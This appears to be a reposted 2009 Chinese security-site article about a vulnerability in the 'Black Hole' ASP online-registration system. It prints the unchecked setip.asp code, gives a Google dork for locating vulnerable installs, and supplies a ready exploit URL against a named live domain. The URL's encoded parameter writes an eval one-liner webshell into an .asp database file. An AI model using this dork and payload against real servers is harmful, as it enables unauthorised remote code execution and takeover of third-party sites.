首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
黑洞的ASP上线系统的一个漏洞
来源:http://hi.baidu.com/toby57/blog/ 作者:toby57 发布时间:2009-07-06  
在默认的情况下,利用该漏洞可得到上线系统所在服务器的webshell

ASP上线系统中保存上线IP信息的数据库的扩展名默认为asp

写入配置时对参数未作检查,setip.asp相关代码

<%
strIP=Trim(Request.QueryString("Ip"))
strPort=Trim(Request.QueryString("Port"))
strType=Trim(Request.QueryString("Type"))

if strType="0" then
strIP=Request.ServerVariables("REMOTE_HOST")
end if

sql="select * from Info where strMark='Main'"
rs.Open sql,conn,1,3
if not rs.eof or not rs.bof then
rs("strIPAddress")=strIP
rs("strPort")=strPort
rs("strType")=strType
rs.update
'不要修改下面的反馈字符.否则程序不知道是否更新成功.
response.write "update success!"
else
response.write "update fail!"
end if
set rs=nothing
conn.close
set conn=nothing

以“inurl:setip.asp”为关键字找了一个测试地址http://zomei.com/blackhole/setip.asp

提交
http://zomei.com/blackhole/setip.asp?Type=%A9%E0%B0Y%CE%DB%A0%84%9F%A8%94%B3%AC%9B%A1%C5%A1%D4%A9%CD%90%F7

这样就插入了EVAL一句话


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·DirectShow 0DAY第二波警告
·Sun One WebServer 6.1 JSP Sour
·Joomla! HTTP头跨站脚本执行漏洞
·风讯 4.0 SP7 getshell 0day
·第一回:DOM沙盒 vs 跨網站腳本
·FF3的《moz-binding: url》未限
·老Y文章管理系统注射0day
·乘风多用户PHP统计系统 v4.0 注
·Php168的一个本地文件包含漏洞
·Discuz! admin\styles.inc.php g
·ToolTalk rpc.ttdbserverd _tt_i
·安全模式下exec等函数安全隐患
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved